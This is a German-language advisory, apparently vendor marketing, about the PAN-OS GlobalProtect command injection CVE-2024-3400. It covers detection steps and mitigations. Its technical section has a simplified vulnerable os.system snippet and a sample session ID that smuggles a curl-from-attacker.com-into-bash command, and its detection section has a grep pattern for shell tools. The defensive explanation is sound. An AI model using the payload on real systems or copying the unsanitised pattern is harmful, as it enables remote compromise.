CVE-2024-3400: Befehlsinjektion in Palo Alto PAN-OS — CVSS 10.0

CVE-2024-3400 ist eine OS-Befehlsinjektionsschwachstelle höchster Schwere im GlobalProtect-Gateway von Palo Alto Networks PAN-OS. Ein nicht authentifizierter Angreifer kann ohne erforderliche Interaktion beliebige OS-Befehle als Root-Benutzer ausführen. Die Schwachstelle wurde bereits vor ihrer Offenlegung von UTA0218 (wahrscheinlich staatlich unterstützt) ausgenutzt.

Was ist CVE-2024-3400?

CVE-2024-3400 betrifft die GlobalProtect-Funktion von Palo Alto Networks PAN-OS. Wenn GlobalProtect als Gateway oder Portal konfiguriert ist, kann ein nicht authentifizierter Angreifer aus der Ferne beliebige OS-Befehle einschleusen, die mit Root-Rechten auf der Firewall-Appliance ausgeführt werden.

Die Kombination der Faktoren — keine Authentifizierung erforderlich, über das Netzwerk erreichbar, veränderter Geltungsbereich sowie maximale Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit — führt zu einem perfekten CVSS-Wert von 10.0. Unter den Firewall-Anbietern haben bislang nur eine Handvoll Schwachstellen diesen Wert erhalten.

Betroffene Systeme

Voraussetzung: Ein GlobalProtect-Gateway oder -Portal muss konfiguriert sein (show global-protect-gateway current-user gibt Ergebnisse zurück). Organisationen, die GlobalProtect nicht konfiguriert haben, sind nicht betroffen.

Technische Analyse

Die Injektionsstelle befindet sich im Code zur Verarbeitung von GlobalProtect-Sitzungen. Wenn eine GlobalProtect-Sitzung aufgebaut wird, werden bestimmte Sitzungsattribute in temporäre Dateien auf der Firewall geschrieben. Der Code, der den Dateipfad für diese Sitzungsdateien erstellt, bereinigt die teilweise vom Angreifer kontrollierte Sitzungskennung nicht ordnungsgemäß.

# Vereinfachte Konstruktion des anfälligen Dateipfads
SESSION_ID = request.cookie["SESSID"]  # Vom Angreifer kontrolliert
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}")  # Befehlsinjektion an dieser Stelle

# Der Angreifer erstellt eine Sitzungs-ID mit Shell-Metazeichen:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"

Die von UTA0218 installierte UPSTYLE-Hintertür nutzte einen neuartigen Persistenzmechanismus: ein Python-Skript, das die Zugriffsprotokolle des Webservers auf bestimmte Anfragemuster überwachte (die einen verschlüsselten Befehl enthielten), die Befehle ausführte und anschließend den ursprünglichen Dateiinhalt wiederherstellte, um Spuren der Aktivität zu beseitigen.

Aktivitäten nach der Ausnutzung (UTA0218)

Volexity dokumentierte die folgende Abfolge von Aktivitäten staatlicher Akteure nach der Ausnutzung:

• Bereitstellung von UPSTYLE: Installation einer Python-Hintertür im Webserverpfad der Firewall für dauerhaften Zugriff
• Extraktion von Anmeldedaten: Auslesen der Firewall-Konfiguration mit VPN-Anmeldedaten und internen Routing-Informationen
• Seitliche Bewegung im internen Netzwerk: Nutzung der vertrauenswürdigen Netzwerkposition der kompromittierten Firewall, um interne Hosts zu erreichen
• LDAP-Abfragen: Aufklärung von Active Directory über den internen Netzwerkzugriff der Firewall
• Bereitstellung von Daten: Komprimierung und Exfiltration sensibler Dateien über die Firewall

Erkennung

Analyse von PAN-OS-Protokollen

# Auf Artefakte der UPSTYLE-Hintertür prüfen
find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null

# Verdächtiger Datenverkehr in GlobalProtect-Protokollen
grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log

# Veränderte Systemdateien (UPSTYLE verändert sie und stellt sie anschließend wieder her)
# Webserverdateien auf kürzlich erfolgte Zugriffe prüfen
find /var/appweb -atime -7 -name "*.php" -o -name "*.py"

Abfragen zur Bedrohungssuche

• HTTP-200-Antworten auf GlobalProtect-Pfade mit ungewöhnlichen Formaten von Sitzungscookies
• Ausgehende Verbindungen von der Verwaltungsebene der Firewall zu externen IP-Adressen
• DNS-Abfragen von PAN-OS an Domains, die nicht im Bedrohungsdaten-Feed enthalten sind
• Ungewöhnliche Zeitstempel von Dateiänderungen an Firewall-Konfigurationsdateien

Schutzmaßnahmen

1. Sofort patchen: Installieren Sie die oben aufgeführten Hotfix-Versionen. Dies ist eine aktiv ausgenutzte Schwachstelle mit einem CVSS-Wert von 10.0 — eine Verzögerung ist nicht vertretbar.
2. Übergangsweise Threat Prevention einsetzen: Aktivieren Sie bei ungepatchten Geräten Threat Prevention mit Sicherheitsprofilen auf den GlobalProtect-Schnittstellen. Palo Alto stellte spezielle Signaturen mit Bedrohungs-IDs bereit.
3. GlobalProtect deaktivieren, wenn es nicht benötigt wird: Organisationen, die GlobalProtect nicht aktiv nutzen, können die Funktion vorübergehend als Behelfslösung deaktivieren.
4. Firewall-Dateien überprüfen: Führen Sie das von Palo Alto bereitgestellte Skript aus, um nach UPSTYLE und anderen Artefakten nach der Ausnutzung zu suchen.
5. Alle Anmeldedaten rotieren: Sämtliche in der Firewall-Konfiguration gespeicherten Anmeldedaten (VPN-Zertifikate, LDAP-Bind-Anmeldedaten usw.) müssen als kompromittiert betrachtet werden.

Erkennungsfunktionen von KENSAI

• PAN-OS-Fingerprinting: KENSAI identifiziert mit dem Internet verbundene Palo-Alto-Geräte und deren PAN-OS-Versionen und kennzeichnet für CVE-2024-3400 anfällige Konfigurationen
• Erkennung exponierter GlobalProtect-Systeme: Erkennt, ob ein GlobalProtect-Gateway oder -Portal auf den ermittelten Geräten aktiviert ist
• Sichere Bestätigung der Ausnutzbarkeit: Eine zerstörungsfreie Prüfung bestätigt die Ausnutzbarkeit, ohne Befehle auszuführen
• Suche nach Kompromittierungsindikatoren: Prüft zugängliche Webpfade auf Indikatoren der UPSTYLE-Hintertür
• Kontinuierliche Überwachung der Angriffsfläche: Warnt vor neu entdeckten PAN-OS-Geräten, die Ihrer externen Angriffsfläche hinzugefügt werden